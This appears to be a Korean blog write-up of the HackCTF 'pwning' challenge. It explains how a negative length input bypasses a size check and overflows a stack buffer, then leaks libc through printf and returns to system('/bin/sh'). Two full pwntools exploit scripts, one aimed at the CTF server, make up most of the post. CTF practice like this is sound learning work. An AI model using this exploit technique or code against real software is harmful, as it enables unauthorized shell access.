# 보호기법 확인
# pseudo code
nptr에서부터 v2의 크기만큼만 v4에 입력받는 character 하나씩만 입력받을 수 있다.
그리고 nptr에 저장된 값을 atoi 함수를 이용해서 int형으로 바꾼 결과를 v2 변수에 저장한다.
문제는 nptr 크기는 0x2c(44바이트)인데 첫 번째 v2의 크기를 한 바이트씩 입력 시 0x20보다 커지면
if문에 의해 break된다.
그리고 do_thing() 함수가 있어서 어셈블리 코드를 봤더니 "pop ebp; ret" gadget이 있었다.
system 함수의 plt, got 주소를 알 수 없으므로 libc leak을 통해 주소를 구하고, RTL을 진행하면 될 것 같았다.
문제는 크기가 0x2c인 nptr의 return address 덮을 수 없다는 것인데,,
# process
일단 실행을 해봤다.
그리고 하면서 든 생각이 음수를 입력하면 될 것 같았다. (House of Force 공부를 한지 얼마 안 된..)
음수로 값을 줬더니 에러가 뜨지 않았고 return address를 충분히 덮을만큼 데이터를 입력할 수 있게 되었다.
1. 크기 입력 시 음수 입력
2. libc leak
- gadget을 이용해서 atoi@got 등을 printf 함수로 출력하도록 한다.
- 다시 입력받아야 하므로 vuln 함수를 다시 호출한다.
3. 다시 vuln에 리턴
- 크기 음수로
- RTL 진행
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
p = process("./pwning")
#gdb.attach(p)
#p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']
#system_off = libc.symbols['printf'] - libc.symbols['system']
system_off = libc.symbols['system'] - libc.symbols['atoi']
#binsh_off = list(libc.search("/bin/sh"))[0] - libc.symbols['printf']
binsh_off = list(libc.search("/bin/sh"))[0] - libc.symbols['atoi']
p1ret = 0x80484e1
vuln = elf.symbols['vuln']
p.recv()
p.sendline(str(-6))
pay = 'A'*0x2c + 'B'*4
#pay += p32(printf_plt) + p32(p1ret) + p32(printf_got)
pay += p32(printf_plt) + p32(p1ret) + p32(atoi_got)
pay += p32(vuln)
p.recv()
p.sendline(pay)
p.recvuntil("\n")
printf = u32(p.recv(4))
log.info("printf : "+hex(printf))
#system = printf - system_off
#binsh = printf + binsh_off
system = printf + system_off
binsh = printf + binsh_off
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))
p.recvuntil("? ")
p.sendline(str(-6))
pay = 'A'*0x2c+'B'*4
pay += p32(system) + p32(p1ret) + p32(binsh)
p.recv()
p.sendline(pay)
p.interactive()
# exploit
(atoi로 leak해서 exploit 한 결과)
* 로되리안 문제 해결
일단 printf 주소를 leak한다.
그럼 하위 3바이트의 offset은 동일하므로 libc database에서 _IO_printf와 020을 입력해서 이 서버에서 사용하는 libc 를 찾는다.
그럼 이렇게 각 함수의 offset을 구할 수 있다.
system offset : 0x3a940
printf offset : 0x49020
binsh offset : 0x15902b
leak한 printf 주소로 위의 offset을 이용해서 각 주소를 구한다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
one_gadget_off = 0x3ac62
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
atoi_got = elf.got['atoi']
p1ret = 0x80484e1
vuln = elf.symbols['vuln']
p.sendlineafter("? ", str(-1))
pay = 'A'*(0x2c + 0x4)
pay += p32(printf_plt) + p32(p1ret) + p32(printf_got)
pay += p32(vuln)
p.sendlineafter("data!\n", pay)
p.recvuntil("\n")
printf = u32(p.recv(4))
log.info("printf : "+hex(printf))
libcBase = printf - 0x49020
#one_gadget = libcBase + one_gadget_off
log.info("libcBase : "+hex(libcBase))
p.sendlineafter("? ", str(-1))
#p.sendlineafter("data!\n", 'A'*(0x2c+0x4) + p32(one_gadget))
p.sendlineafter("data!\n", 'A'*(0x2c+0x4) + p32(libcBase + 0x03a940)+p32(p1ret) + p32(libcBase + 0x15902b))
p.interactive()
로되리안 해결!!!
[HackCTF] Random Key (0) | 2020.01.18 |
---|---|
[HackCTF] ROP (3) | 2020.01.16 |
[HackCTF] Gift (0) | 2020.01.12 |
[HackCTF] Look at me (0) | 2020.01.12 |
[HackCTF] 1996 (0) | 2020.01.08 |